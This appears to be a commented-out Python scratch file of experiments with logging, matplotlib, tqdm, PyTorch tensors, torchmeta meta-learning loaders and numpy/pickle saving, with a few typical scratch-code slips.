# my_stdout_filename = logs_dirpath / Path('my_stdout.log')
# # remove my_stdout if it exists (note you can also just create a new log dir/file each time or append to the end of the log file your using)
# # os.remove(my_stdout_filename) if os.path.isfile(my_stdout_filename) else None
#
# ## create top logger
# logger = logging.getLogger(
# __name__) # loggers are created in hierarchy using dot notation, thus __name__ ensures no name collisions.
# logger.setLevel(
# logging.DEBUG) # note: use logging.DEBUG, CAREFUL with logging.UNSET: https://stackoverflow.com/questions/21494468/about-notset-in-python-logging/21494716#21494716
#
# ## log to my_stdout.log file
# file_handler = logging.FileHandler(filename=my_stdout_filename)
# # file_handler.setLevel(logging.INFO) # not setting it means it inherits the logger. It will log everything from DEBUG upwards in severity to this handler.
# log_format = "{asctime}:{levelname}:{lineno}:{name}:{message}" # see for logrecord attributes https://docs.python.org/3/library/logging.html#logrecord-attributes
# formatter = logging.Formatter(fmt=log_format, style='{') # set the logging format at for this handler
# file_handler.setFormatter(fmt=formatter)
#
# ## log to stdout/screen
# stdout_stream_handler = logging.StreamHandler(
# stream=sys.stdout) # default stderr, though not sure the advatages of logging to one or the other
# # stdout_stream_handler.setLevel(logging.INFO) # Note: having different set levels means that we can route using a threshold what gets logged to this handler
# log_format = "{name}:{levelname}:-> {message}" # see for logrecord attributes https://docs.python.org/3/library/logging.html#logrecord-attributes
# formatter = logging.Formatter(fmt=log_format, style='{') # set the logging format at for this handler
# stdout_stream_handler.setFormatter(fmt=formatter)
#
# logger.addHandler(hdlr=file_handler) # add this file handler to top logger
# logger.addHandler(hdlr=stdout_stream_handler) # add this file handler to top logger
#
# logger.log(logging.NOTSET, 'notset')
# logger.debug('debug')
# logger.info('info')
# logger.warning('warning')
# logger.error('error')
# logger.critical('critical')
#
#
# def logging_unset_level():
# """My sample logger explaining UNSET level
#
# Resources:
# - https://stackoverflow.com/questions/21494468/about-notset-in-python-logging
# - https://www.youtube.com/watch?v=jxmzY9soFXg&t=468s
# - https://github.com/CoreyMSchafer/code_snippets/tree/master/Logging-Advanced
# """
# import logging
#
# logger = logging.getLogger(
# __name__) # loggers are created in hierarchy using dot notation, thus __name__ ensures no name collisions.
# print(f'DEFAULT VALUE: logger.level = {logger.level}')
#
# file_handler = logging.FileHandler(filename='my_log.log')
# log_format = "{asctime}:{levelname}:{lineno}:{name}:{message}" # see for logrecord attributes https://docs.python.org/3/library/logging.html#logrecord-attributes
# formatter = logging.Formatter(fmt=log_format, style='{')
# file_handler.setFormatter(fmt=formatter)
#
# stdout_stream_handler = logging.StreamHandler(stream=sys.stdout)
# stdout_stream_handler.setLevel(logging.INFO)
# log_format = "{name}:{levelname}:-> {message}" # see for logrecord attributes https://docs.python.org/3/library/logging.html#logrecord-attributes
# formatter = logging.Formatter(fmt=log_format, style='{')
# stdout_stream_handler.setFormatter(fmt=formatter)
#
# logger.addHandler(hdlr=file_handler)
# logger.addHandler(hdlr=stdout_stream_handler)
#
# logger.log(logging.NOTSET, 'notset')
# logger.debug('debug')
# logger.info('info')
# logger.warning('warning')
# logger.error('error')
# logger.critical('critical')
#
#
# def logger():
# from pathlib import Path
# import logging
#
# # create directory (& its parents) if it does not exist otherwise do nothing :)
# logs_dirpath = Path('~/automl-meta-learning/logs/python_playground_logs/').expanduser()
# logs_dirpath.mkdir(parents=True, exist_ok=True)
# my_stdout_filename = logs_dirpath / Path('my_stdout.log')
# # remove my_stdout if it exists (used to have this but now I decided to create a new log & file each)
# # os.remove(my_stdout_filename) if os.path.isfile(my_stdout_filename) else None
#
# logger = logging.getLogger(
# __name__) # loggers are created in hierarchy using dot notation, thus __name__ ensures no name collisions.
# logger.setLevel(logging.INFO)
#
# log_format = "{asctime}:{levelname}:{name}:{message}"
# formatter = logging.Formatter(fmt=log_format, style='{')
#
# file_handler = logging.FileHandler(filename=my_stdout_filename)
# file_handler.setFormatter(fmt=formatter)
#
# logger.addHandler(hdlr=file_handler)
# logger.addHandler(hdlr=logging.StreamHandler())
#
# for i in range(3):
# logger.info(f'i = {i}')
#
# logger.info(f'logger DONE')
#
#
# def logging_example_from_youtube():
# """https://github.com/CoreyMSchafer/code_snippets/blob/master/Logging-Advanced/employee.py
# """
# import logging
# import pytorch_playground # has employee class & code
# import sys
#
# logger = logging.getLogger(__name__)
# logger.setLevel(logging.DEBUG)
#
# formatter = logging.Formatter('%(asctime)s:%(levelname)s:%(name)s:%(message)s')
#
# file_handler = logging.FileHandler('sample.log')
# file_handler.setLevel(logging.ERROR)
# file_handler.setFormatter(formatter)
#
# stream_handler = logging.StreamHandler()
# stream_handler.setFormatter(formatter)
#
# logger.addHandler(file_handler)
# logger.addHandler(stream_handler)
#
# logger.critical('not really critical :P')
#
# def add(x, y):
# """Add Function"""
# return x + y
#
# def subtract(x, y):
# """Subtract Function"""
# return x - y
#
# def multiply(x, y):
# """Multiply Function"""
# return x * y
#
# def divide(x, y):
# """Divide Function"""
# try:
# result = x / y
# except ZeroDivisionError:
# logger.exception('Tried to divide by zero')
# else:
# return result
#
# logger.info(
# 'testing if log info is going to print to screen. it should because everything with debug or above is printed since that stream has that level.')
#
# num_1 = 10
# num_2 = 0
#
# add_result = add(num_1, num_2)
# logger.debug('Add: {} + {} = {}'.format(num_1, num_2, add_result))
#
# sub_result = subtract(num_1, num_2)
# logger.debug('Sub: {} - {} = {}'.format(num_1, num_2, sub_result))
#
# mul_result = multiply(num_1, num_2)
# logger.debug('Mul: {} * {} = {}'.format(num_1, num_2, mul_result))
#
# div_result = divide(num_1, num_2)
# logger.debug('Div: {} / {} = {}'.format(num_1, num_2, div_result))
#
#
# def plot():
# """
# source:
# - https://www.youtube.com/watch?v=UO98lJQ3QGI
# - https://github.com/CoreyMSchafer/code_snippets/blob/master/Python/Matplotlib/01-Introduction/finished_code.py
# """
# from matplotlib import my_pyplot as plt
#
# plt.xkcd()
#
# ages_x = [18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35,
# 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55]
#
# py_dev_y = [20046, 17100, 20000, 24744, 30500, 37732, 41247, 45372, 48876, 53850, 57287, 63016, 65998, 70003, 70000,
# 71496, 75370, 83640, 84666,
# 84392, 78254, 85000, 87038, 91991, 100000, 94796, 97962, 93302, 99240, 102736, 112285, 100771, 104708,
# 108423, 101407, 112542, 122870, 120000]
# plt.plot(ages_x, py_dev_y, label='Python')
#
# js_dev_y = [16446, 16791, 18942, 21780, 25704, 29000, 34372, 37810, 43515, 46823, 49293, 53437, 56373, 62375, 66674,
# 68745, 68746, 74583, 79000,
# 78508, 79996, 80403, 83820, 88833, 91660, 87892, 96243, 90000, 99313, 91660, 102264, 100000, 100000,
# 91660, 99240, 108000, 105000, 104000]
# plt.plot(ages_x, js_dev_y, label='JavaScript')
#
# dev_y = [17784, 16500, 18012, 20628, 25206, 30252, 34368, 38496, 42000, 46752, 49320, 53200, 56000, 62316, 64928,
# 67317, 68748, 73752, 77232,
# 78000, 78508, 79536, 82488, 88935, 90000, 90056, 95000, 90000, 91633, 91660, 98150, 98964, 100000, 98988,
# 100000, 108923, 105000, 103117]
# plt.plot(ages_x, dev_y, color='#444444', linestyle='--', label='All Devs')
#
# plt.xlabel('Ages')
# plt.ylabel('Median Salary (USD)')
# plt.title('Median Salary (USD) by Age')
#
# plt.legend()
#
# plt.tight_layout()
#
# plt.savefig('plot.png')
#
# plt.show()
#
#
# def subplot():
# """https://github.com/CoreyMSchafer/code_snippets/blob/master/Python/Matplotlib/10-Subplots/finished_code.py
# """
#
# import pandas as pd
# from matplotlib import my_pyplot as plt
#
# plt.style.use('seaborn')
#
# data = read_csv('data.csv')
# ages = data['Age']
# dev_salaries = data['All_Devs']
# py_salaries = data['Python']
# js_salaries = data['JavaScript']
#
# fig1, ax1 = plt.subplots()
# fig2, ax2 = plt.subplots()
#
# ax1.plot(ages, dev_salaries, color='#444444',
# linestyle='--', label='All Devs')
#
# ax2.plot(ages, py_salaries, label='Python')
# ax2.plot(ages, js_salaries, label='JavaScript')
#
# ax1.legend()
# ax1.set_title('Median Salary (USD) by Age')
# ax1.set_ylabel('Median Salary (USD)')
#
# ax2.legend()
# ax2.set_xlabel('Ages')
# ax2.set_ylabel('Median Salary (USD)')
#
# plt.tight_layout()
#
# plt.show()
#
# fig1.savefig('fig1.png')
# fig2.savefig('fig2.png')
#
#
# def import_utils_test():
# import uutils
# import uutils.utils as utils
# from uutils.utils import logger
#
# print(uutils)
# print(utils)
# print(logger)
#
# print()
#
#
# def sys_path():
# """
#
# python -c "import sys; print(sys.path)”
#
# python -c "import sys; [print(p) for p in sys.path]"
# """
# import sys
#
# def path():
# import sys
# [print(p) for p in sys.path]
#
# for path in sys.path:
# print(path)
#
#
# def pycharm_playground():
# import tqdm
#
# print('running pycharm playground...')
#
# b = 0
# print(b)
# print('Intermediate print line')
# print(b)
# print(b)
# print('Done!')
#
#
# if __name__ == '__main__':
# # union_dicts()
# # get_stdout()
# # logger()
# # logger_SO_print_and_write_to_my_stdout()
# # logging_basic()
# # logging_to_file()
# # logging_to_file()
# # logging_to_file_INFO_LEVEL()
# # logging_example_from_youtube()
# # logging_unset_level()
# # import_utils_test()
# pycharm_playground()
# print('\n---> DONE\a\n\n') ## HIii
#
# # %%
#
# import sys
#
# print(sys.version)
#
# # %%
#
# ## dictionary comprehension looping
#
# d = {'a': 0, 'b': 1}
# lst1 = [f'key:{k}' for k in d]
# lst2 = [f'key:{k}, value:{v}' for k, v in d.items()]
#
# print(lst1)
# print(lst2)
#
# # %%
#
# ## merging two dictionaries
#
# d1 = {'a': 0, 'b': 1}
# d2 = {'c': 2, 'd': 3}
# d3 = {'e': 4, 'f': 5, 'g': 6}
# d = {**d1, **d2, **d3}
#
# print(d)
#
# # %%
#
#
# from collections import OrderedDict
#
# od = OrderedDict([
# ('first', 1)
# ])
#
# print(od)
# od['first'] = 2
# print(od)
#
# lst = sum([i for i in range(3)])
# print(lst)
# od3 = OrderedDict([(i, i) for i in range(3)])
# print(od3)
# print(3 + float('Inf'))
#
# # %%
#
# # import pathlib
# # from pathlib import Path
# #
# #
# # def make_dirpath_current_datetime_hostname(path=None, comment='', replace_dots=True):
# # '''
# # make dir string: runs/CURRENT_DATETIME_HOSTNAME
# # '''
# # import socket
# # import os
# # from datetime import datetime
# # # check if root is a PosixPath object
# # if type(path) != pathlib.PosixPath and path is not None:
# # path = Path(path)
# # current_time = datetime.now().strftime('%b%d_%H-%M-%S')
# # log_dir = os.path.join('runs', current_time + '_' + socket.gethostname() + comment)
# # log_dir = Path(log_dir)
# # print(log_dir._str)
# # if replace_dots:
# # log_dir = Path(log_dir._str.replace('.', '_'))
# # if path is not None:
# # log_dir = path / log_dir
# # return log_dir
# #
# #
# # print(type(Path('~')) == pathlib.PosixPath)
# # print()
# #
# # log_dir = make_dirpath_current_datetime_hostname()
# # print(log_dir)
# # log_dir = make_dirpath_current_datetime_hostname('~')
# # print(log_dir)
# # log_dir = make_dirpath_current_datetime_hostname('~', '_jupyter')
# # print(log_dir)
# # log_dir = make_dirpath_current_datetime_hostname('~').expanduser()
# # print(log_dir)
# #
# # string = "geeks for geeks geeks geeks geeks"
# # # Prints the string by replacing geeks by Geeks
# # print(string.replace("geeks", "Geeks"))
# #
# # log_dir = make_dirpath_current_datetime_hostname('~', '_jupyter', True)
# # print(log_dir)
#
# # %%
#
# # adding keys to empty dic
#
# d = {}
# d['a'] = 3
# print(d)
#
# # %%
#
# # unpack list?
#
# (a, b, c) = [1, 2, 3]
# print(a)
#
#
# # %%
#
# ## kwargs
#
# def f(*args, **kwargs):
# print(args)
# print(kwargs)
#
#
# f()
# f(1, 2, 3, a=1, b=2, c=3)
#
# # %%
#
# #
# # import json
# #
# # from pathlib import Path
# #
# # p = Path('~/').expanduser()
# # with open(p) as f:
# # data = json.load(f)
# # print(data)
# # print(data['password'])
#
# # %%
#
# import subprocess
#
# from subprocess import Popen, PIPE, STDOUT
#
# cmd = 'ls /etc/fstab /etc/non-existent-file'
# p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True)
# output = p.stdout.read()
# print(output)
#
# # %%
#
# import sys
#
# print('a')
#
# print(sys.stdout)
#
# # %%
#
# # from pathlib import Path
# #
# #
# # def send_email(subject, message, destination, password_path=None):
# # """ Send an e-mail from with message to destination email.
# #
# # NOTE: if you get an error with google gmails you might need to do this:
# # https://stackoverflow.com/questions/16512592/login-credentials-not-working-with-gmail-smtp
# # To use an app password:
# # https://stackoverflow.com/questions/60975490/how-does-one-send-an-e-mail-from-python-not-using-gmail
# #
# # Arguments:
# # message {str} -- message string to send.
# # destination {str} -- destination email (as string)
# # """
# # from socket import gethostname
# # from email.message import EmailMessage
# # import smtplib
# # import json
# # import sys
# #
# # server = smtplib.SMTP('smtp.gmail.com', 587)
# # smtplib.stdout = sys.stdout
# # server.starttls()
# # with open(password_path) as f:
# # config = json.load(f)
# # server.login('slurm.miranda@gmail.com', config['password'])
# #
# # # craft message
# # msg = EmailMessage()
# #
# # # message = f'{message}\nSend from Hostname: {gethostname()}'
# # # msg.set_content(message)
# # msg['Subject'] = subject
# # msg['From'] = 'slurm.miranda@gmail.com'
# # msg['To'] = destination
# # # send msg
# # server.send_message(msg)
# #
# #
# # ##
# # print("-------> HELLOWWWWWWWW")
# # p = Path('~/automl-meta-learning/automl/experiments/pw_app.config.json').expanduser()
# # send_email(subject='TEST: send_email2', message='MESSAGE', destination='brando.science@gmail.com', password_path=p)
#
# # %%
#
# """
# Demo of the errorbar function, including upper and lower limits
# """
# import numpy as np
# import matplotlib.my_pyplot as plt
#
# import matplotlib as mpl
#
# mpl.rcParams["errorbar.capsize"] = 3
#
# # https://stackoverflow.com/questions/61415955/why-dont-the-error-limits-in-my-plots-show-in-matplotlib
#
# # example data
# x = np.arange(0.5, 5.5, 0.5)
# y = np.exp(-x)
# xerr = 0.1
# yerr = 0.2
# ls = 'dotted'
#
# fig = plt.figure()
# ax = fig.add_subplot(1, 1, 1)
#
# # standard error bars
# plt.errorbar(x, y, xerr=xerr, yerr=yerr, ls=ls, color='blue')
#
# # including upper limits
# uplims = np.zeros(x.shape)
# uplims[[1, 5, 9]] = True
# plt.errorbar(x, y + 0.5, xerr=xerr, yerr=yerr, uplims=uplims, ls=ls,
# color='green')
#
# # including lower limits
# lolims = np.zeros(x.shape)
# lolims[[2, 4, 8]] = True
# plt.errorbar(x, y + 1.0, xerr=xerr, yerr=yerr, lolims=lolims, ls=ls,
# color='red')
#
# # including upper and lower limits
# plt.errorbar(x, y + 1.5, marker='o', ms=8, xerr=xerr, yerr=yerr,
# lolims=lolims, uplims=uplims, ls=ls, color='magenta')
#
# # including xlower and xupper limits
# xerr = 0.2
# yerr = np.zeros(x.shape) + 0.2
# yerr[[3, 6]] = 0.3
# xlolims = lolims
# xuplims = uplims
# lolims = np.zeros(x.shape)
# uplims = np.zeros(x.shape)
# lolims[[6]] = True
# uplims[[3]] = True
# plt.errorbar(x, y + 2.1, marker='o', ms=8, xerr=xerr, yerr=yerr,
# xlolims=xlolims, xuplims=xuplims, uplims=uplims, lolims=lolims,
# ls='none', mec='blue', capsize=0, color='cyan')
#
# ax.set_xlim((0, 5.5))
# ax.set_title('Errorbar upper and lower limits')
# plt.show()
#
# # %%
#
# from types import SimpleNamespace
# from pathlib import Path
# from pprint import pprint
#
# args = SimpleNamespace()
# args.data_root = "~/automl-meta-learning/data/miniImagenet"
#
# args.data_root = Path(args.data_root).expanduser()
#
# print(args)
#
# # pprint(dir(args.data_root))
# print(args.data_root.name)
# print('miniImagenet' in args.data_root.name)
#
# # %%
#
# ## sampling N classes for len(meta-set)
# # In sampling without replacement, each sample unit of
# # the population has only one chance to be selected in the sample.
# # because you are NOT replacing what you removed.
#
# import random
#
# N = 5
# len_meta_set = 64
# sample = random.sample(range(0, len_meta_set), N)
#
# print(sample)
#
# for i, n in enumerate(sample):
# print(f'i={i}\nn={n}\n')
#
#
# # %%
#
# # iterator https://www.programiz.com/python-programming/iterator
#
# class Counter:
#
# def __init__(self, max=0):
# self.max = max # returns up to and including that number
#
# def __iter__(self):
# self.n = 0
# return self
#
# def __next__(self):
# if self.n <= self.max:
# current_count = self.n
# self.n += 1
# print(f'current_count = {current_count}')
# print(f'self.n = {self.n}')
# print(self.n is current_count)
# return current_count
# else:
# raise StopIteration
#
#
# ## test it
#
# counter = iter(Counter(max=0))
# for count in counter:
# print(f'count = {count}')
#
# # %%
#
# from tqdm import tqdm
#
# print(tqdm)
#
# lst = range(3)
# print(type(lst))
#
# with tqdm(iter(lst), total=5) as tlist:
# print(f'tlist = {type(tlist)}')
# for i in tlist:
# print(i)
#
# # %%
#
# from tqdm import tqdm
#
#
# class Plus2:
#
# def __init__(self, max=0):
# self.max = max # returns up to and including that number
#
# def __iter__(self):
# self.it = 0
# self.tot = 0
# return self
#
# def __next__(self):
# if self.it <= self.max:
# self.it += 1
# self.tot += 2
# return self.tot
# else:
# raise StopIteration
#
# def __len__(self):
# return self.max
#
#
# ##
# counter = iter(Plus2(max=int(100000)))
# with tqdm(counter, total=len(counter)) as tqcounter:
# for idx, pow2 in enumerate(tqcounter):
# print()
# print(f'idx = {idx}')
# print(f'powd2 = {pow2}')
# pass
#
# # %%
#
# from tqdm import tqdm
#
# for i in tqdm(range(int(9e6))):
# pass
#
# # %%
#
# from tqdm import tqdm
#
# import time
#
# with tqdm(range(int(5))) as trange:
# for i in trange:
# print(f'\ni = {i}')
# print('done\n')
# time.sleep(1)
# pass
#
# # %%
#
# # zip, it aligns elements in one list to elements in the other
#
# l1 = [0, 1, 2]
# l2 = ['a', 'b', 'c']
#
# print(list(zip(l1, l2)))
#
# # %%
#
# from tqdm import tqdm
# import time
#
# lst = range(10000000)
# total = 2
#
# with tqdm(lst, total=total) as tlst:
# i = 0
# for _, element in enumerate(tlst):
# print(f'\n->i = {i}\n')
# time.sleep(0.2)
# i += 1
# if i >= total:
# break
#
# print('\n--> DONE \a')
#
# # %%
#
# from tqdm import tqdm
# import time
#
# lst = range(10000000)
# total = 2
#
# with tqdm(lst, total=total) as tlst:
# for idx, element in enumerate(tlst):
# print(f'\n->idx = {idx}\n')
# time.sleep(0.2)
# if idx >= total:
# break
#
# print('\n--> DONE \a')
#
# # %%
#
# from tqdm import tqdm
# import time
#
# lst = range(10000000)
# total = 2
#
# with tqdm(range(total)) as tcounter:
# lst = iter(lst)
# for idx, element in enumerate(tcounter):
# print(f'\n->idx = {idx}\n')
# time.sleep(0.2)
#
# print('\n--> DONE \a')
#
# # %%
#
# # Question: Do detached() tensors track their own gradients seperately?
# # Ans: Yes!
# # https://discuss.pytorch.org/t/why-is-the-clone-operation-part-of-the-computation-graph-is-it-even-differentiable/67054/11
#
# import torch
#
# a = torch.tensor([2.0], requires_grad=True)
# b = a.detach()
# b.requires_grad = True
#
# la = (5.0 - a) ** 2
# la.backward()
# print(f'a.grad = {a.grad}')
#
# lb = (6.0 - b) ** 2
# lb.backward()
# print(f'b.grad = {b.grad}')
#
# # %%
#
# import torch
# import torch.nn as nn
#
# from collections import OrderedDict
#
# params = OrderedDict([
# ('fc0', nn.Linear(in_features=4, out_features=4)),
# ('ReLU0', nn.ReLU()),
# ('fc1', nn.Linear(in_features=4, out_features=1))
# ])
# mdl = nn.Sequential(params)
#
# print(params)
# print(mdl._parameters)
# print(params == params)
# print(mdl._parameters == params)
# print(mdl._modules)
#
# print()
# for name, w in mdl.named_parameters():
# print(name, w.norm(2))
#
# print()
# # mdl._modules['fc0'] = nn.Linear(10,11)
# mdl._modules[0]
#
# for name, w in mdl.named_parameters():
# print(name, w.norm(2))
#
# # %%
#
# ## Q: are parameters are in computation graph?
# import torch
# import torch.nn as nn
# from torchviz import make_dot
#
# from collections import OrderedDict
#
# fc0 = nn.Linear(in_features=3, out_features=1)
# params = [('fc0', fc0)]
# mdl = nn.Sequential(OrderedDict(params))
#
# x = torch.randn(1, 3)
# y = torch.randn(1)
#
# l = (mdl(x) - y) ** 2
#
# # make_dot(l,{x:'x',y:'y','fc0':fc0})
# print(fc0.weight)
# print(fc0.bias)
# print(fc0.weight.to_tens)
# print()
# # make_dot(l,{x:'x',y:'y','fc0':fc0})
# make_dot(l, {'x': x, 'y': y})
# make_dot(l)
#
# # %%
#
# '''
# expand
# '''
#
# import torch
#
# x = torch.randn([2, 3, 4, 5])
#
# # h_0 of shape (num_layers * num_directions, batch, hidden_size)
# h = torch.randn([1, 4, 8])
#
# x_mean = x.mean()
# print(x_mean.size())
# print(x_mean)
# x = x_mean.expand_as(h)
# print(x.size())
# print(x)
#
# # %%
#
# import torch
#
# use_cuda = torch.cuda.is_available()
# device = torch.device("cuda" if use_cuda else "cpu")
# print(device)
# type(device)
# print(device == 'cpu')
# device.type
#
# # %%
#
# # THIS WORKS
#
# from torch.utils.tensorboard import SummaryWriter
#
# from pathlib import Path
#
# # log_dir (string) – Save directory location.
# # Default is runs/CURRENT_DATETIME_HOSTNAME, which changes after each run.
#
# tb = SummaryWriter()
# tb.add_scalar('loss', 111)
#
# # %%
#
# from torch.utils.tensorboard import SummaryWriter
#
# from pathlib import Path
#
#
# def CURRENT_DATETIME_HOSTNAME(comment=''):
# # if not log_dir:
# import socket
# import os
# from datetime import datetime
# current_time = datetime.now().strftime('%b%d_%H-%M-%S')
# log_dir = os.path.join('runs', current_time + '_' + socket.gethostname() + comment)
# return Path(log_dir)
#
#
# # log_dir (string) – Save directory location.
# # Default is runs/CURRENT_DATETIME_HOSTNAME, which changes after each run.
# # tensorboard --logdir=runs
# log_dir = (Path('~/automl-meta-learning/') / CURRENT_DATETIME_HOSTNAME()).expanduser()
# print(log_dir)
# tb = SummaryWriter(log_dir=log_dir)
# tb.add_scalar('loss', 15)
#
# # %%
#
# # download mini-imagenet automatically
#
# # from torchvision.utils import download_and_extract_archive
#
# import torchvision.utils as utils
#
# print(utils)
# # print(download_and_extract_archive)
#
# # %%
#
# # torch concat, https://pytorch.org/docs/stable/torch.html#torch.cat
# # Concatenates the given sequence of seq tensors in the given dimension.
# # All tensors must either have the same shape (except in the concatenating dimension) or be empty.
# import torch
#
# g1 = torch.randn(3, 2)
# g2 = torch.randn(4, 2)
#
# g3 = torch.randn(4, 2, 3)
#
# grads = [g1, g2]
# print(g1.view(-1).size())
# print(g2.view(-1).size())
# print(g3.view(-1).size())
# # print(g3.view(-1))
#
# grads = torch.cat(grads, dim=0)
# print(grads)
# print(grads.size())
# print(grads.mean())
# print(grads.std())
#
# # torch stack, https://pytorch.org/docs/stable/torch.html#torch.stack
# # Concatenates sequence of tensors along a new dimension.
# # All tensors need to be of the same size.
# # torch.stack([g1,g2], dim=0)
#
# # %%
#
# import torch
#
# a = torch.tensor([1, 2, 3.], requires_grad=True)
# a_detached = a.detach()
# print(a_detached.is_leaf)
# a_detached_sum = a.sum()
# print(c.is_leaf)
# d = c.detach()
# print(d.is_leaf)
#
# # %%
#
# import torch
#
# from types import SimpleNamespace
# from pathlib import Path
# from pprint import pprint
#
# x = torch.empty([1, 2, 3])
# print(x.size())
#
# args = SimpleNamespace()
# args.data_root = "~/automl-meta-learning/data/miniImagenet"
#
# # n1313361300001299.jpg
# args.data_root = Path(args.data_root).expanduser()
#
# # %%
#
# import torch
#
# CHW = 3, 12, 12
# x = torch.randn(CHW)
# y = torch.randn(CHW)
#
# new = [x, y]
# new = torch.stack(new)
# print(x.size())
# print(new.size())
#
# # %%
#
# print('a');
# print('b')
#
# # %%
#
# # conver list to tensor
#
# import torch
#
# x = torch.tensor([1, 2, 3.])
# print(x)
#
# # %%
#
# from torchvision.transforms import Compose, Resize, ToTensor
#
# import torchmeta
# from torchmeta.datasets.helpers import miniimagenet
#
# from pathlib import Path
# from types import SimpleNamespace
#
# from tqdm import tqdm
#
# ## get args
# args = SimpleNamespace(episodes=5, n_classes=5, k_shot=5, k_eval=15, meta_batch_size=1, n_workers=4)
# args.data_root = Path("~/automl-meta-learning/data/miniImagenet").expanduser()
#
# ## get meta-batch loader
# train_transform = Compose([Resize(84), ToTensor()])
# dataset = miniimagenet(
# args.data_root,
# ways=args.n_classes,
# shots=args.k_shot,
# test_shots=args.k_eval,
# meta_split='train',
# download=False)
# dataloader = torchmeta.utils.data.BatchMetaDataLoader(
# dataset,
# batch_size=args.meta_batch_size,
# num_workers=args.n_workers)
#
# with tqdm(dataset):
# print(f'len(dataloader)= {len(dataloader)}')
# for episode, batch in enumerate(dataloader):
# print(f'episode = {episode}')
# train_inputs, train_labels = batch["train"]
# print(f'train_labels[0] = {train_labels[0]}')
# print(f'train_inputs.size() = {train_inputs.size()}')
# pass
# if episode >= args.episodes:
# break
#
# # %%
#
# # zip tensors
#
# import torch
#
# x = torch.tensor([1., 2., 3.])
# y = torch.tensor([1, 2, 3])
#
# print(list(zip(x, y)))
#
# xx = torch.randn(2, 3, 84, 84)
# yy = torch.randn(2, 3, 32, 32)
#
# print(len(list(zip(xx, yy))))
#
# # %%
#
# x = 2
# print(x)
#
# # %%
#
# ## sinusioid function
# print('Starting Sinusioid cell')
#
# from torchmeta.toy import Sinusoid
# from torchmeta.utils.data import BatchMetaDataLoader
# from torchmeta.transforms import ClassSplitter
#
# # from tqdm import tqdm
#
# batch_size = 16
# shots = 5
# test_shots = 15
# # dataset = torchmeta.toy.helpers.sinusoid(shots=shots, test_shots=tes_shots)
# metaset_dataset = Sinusoid(num_samples_per_task=shots + test_shots, num_tasks=100, noise_std=None)
# splitter_metset_dataset = ClassSplitter(
# metaset_dataset,
# num_train_per_class=shots,
# num_test_per_class=test_shots,
# shuffle=True)
# dataloader = BatchMetaDataLoader(splitter_metset_dataset, batch_size=batch_size, num_workers=4)
#
# print(f'batch_size = {batch_size}')
# print(f'len(dataset) = {len(metaset_dataset)}')
# print(f'len(dataloader) = {len(dataloader)}\n')
# for batch_idx, batch in enumerate(dataloader):
# print(f'batch_idx = {batch_idx}')
# train_inputs, train_targets = batch['train']
# test_inputs, test_targets = batch['test']
# print(f'train_inputs.shape = {train_inputs.shape}')
# print(f'train_targets.shape = {train_targets.shape}')
# print(f'test_inputs.shape = {test_inputs.shape}')
# print(f'test_targets.shape = {test_targets.shape}')
# if batch_idx >= 1: # halt after 2 iterations
# break
#
# print('DONE\a')
#
# # %%
#
# ## notes of torchmeta
#
# from pathlib import Path
# import torchmeta
#
# # meta-set: creates collection of data-sets, D_meta = {D_1, ... Dn}
# print('\n-- Sinusoid(MetaDataset)')
# metaset_sinusoid = torchmeta.toy.Sinusoid(num_samples_per_task=10, num_tasks=1_000_000, noise_std=None)
# print(f'type(metaset_sinusoid) = {type(metaset_sinusoid)}')
# print(f'len(metaset_sinusoid) = {len(metaset_sinusoid)}')
# print(f'metaset_sinusoid = {metaset_sinusoid}')
#
# # this is still a data set but helps implement forming D_i
# # i.e. the N-way, K-shot tasks/datasets we need.
# print('\n-- MiniImagenet(CombinationMetaDataset)')
# data_path = Path('~/data').expanduser()
# metaset_miniimagenet = torchmeta.datasets.MiniImagenet(data_path, num_classes_per_task=5, meta_train=True,
# download=True)
# print(f'type(metaset_miniimagenet) = {type(metaset_miniimagenet)}')
# print(f'len(metaset_miniimagenet) = {len(metaset_miniimagenet)}')
# print(f'metaset_miniimagenet = {metaset_miniimagenet}')
#
# # Splits the data-sets inside the meta-set into support/train & query/test sets
# dataset = metaset_miniimagenet
# dataset = torchmeta.transforms.ClassSplitter(dataset, num_train_per_class=1, num_test_per_class=15, shuffle=True)
# print(dataset)
#
# # %%
#
# import torch
# import torch.nn as nn
# import numpy as np
#
# x = np.random.uniform()
#
# x = torch.rand()
#
# print(x)
#
# l = nn.Linear(1, 1)
#
# y = l(x)
#
# print(y)
#
# # %%
#
# # saving tensors for my data set
# import torch
# import torch.nn as nn
#
# from collections import OrderedDict
#
# from pathlib import Path
#
# # N x's of size D=1 in an interval
# Din, Dout = 3, 2
# num_samples = 5
# lb, ub = -1, 1
# X = (ub - lb) * torch.rand([num_samples, Din]) + lb # rand gives uniform in [0,1) range
#
# # N y's of size D=1 (from output of NN)
# f = nn.Sequential(OrderedDict([
# ('f1', nn.Linear(Din, Dout)),
# ('out', nn.SELU())
# ]))
#
# # fill cnn with Gaussian
# mu1, std1 = 5, 7.5
# f.f1.weight.data.normal_(mu1, std1)
# f.f1.bias.data.normal_(mu1, std1)
#
# # get outputs
# Y = f(X)
# print(Y)
#
# # save tensors and cnn
# # https://stackoverflow.com/questions/1466000/difference-between-modes-a-a-w-w-and-r-in-built-in-open-function
# db = {
# 'X': X,
# 'Y': Y
# }
# path = Path(f'~/data/tmp/SinData_mu1{mu1}_std1{std1}/').expanduser()
# path.mkdir(parents=True, exist_ok=True)
# with open(path / 'db', 'w') as file: # create file and truncate to length 0, only writing allowed
# torch.save(db, file)
#
# # %%
#
# # saving data in numpy
#
# import numpy as np
# import pickle
# from pathlib import Path
#
# path = Path('~/data/tmp/').expanduser()
# path.mkdir(parents=True, exist_ok=True)
#
# lb, ub = -1, 1
# num_samples = 5
# x = np.random.uniform(low=lb, high=ub, size=(1, num_samples))
# y = x ** 2 + x + 2
#
# # using save (to npy), savez (to npz)
# np.save(path / 'x', x)
# np.save(path / 'y', y)
# np.savez(path / 'db', x=x, y=y)
# with open(path / 'db.pkl', 'wb') as db_file:
# pickle.dump(obj={'x': x, 'y': y}, file=db_file)
#
# ## using loading npy, npz files
# x_loaded = np.load(path / 'x.npy')
# y_load = np.load(path / 'y.npy')
# db = np.load(path / 'db.npz')
# with open(path / 'db.pkl', 'rb') as db_file:
# db_pkl = pickle.load(db_file)
#
# print(x is x_loaded)
# print(x == x_loaded)
# print(x == db['x'])
# print(x == db_pkl['x'])
# print('done')
#
# # %%
#
# import numpy as np
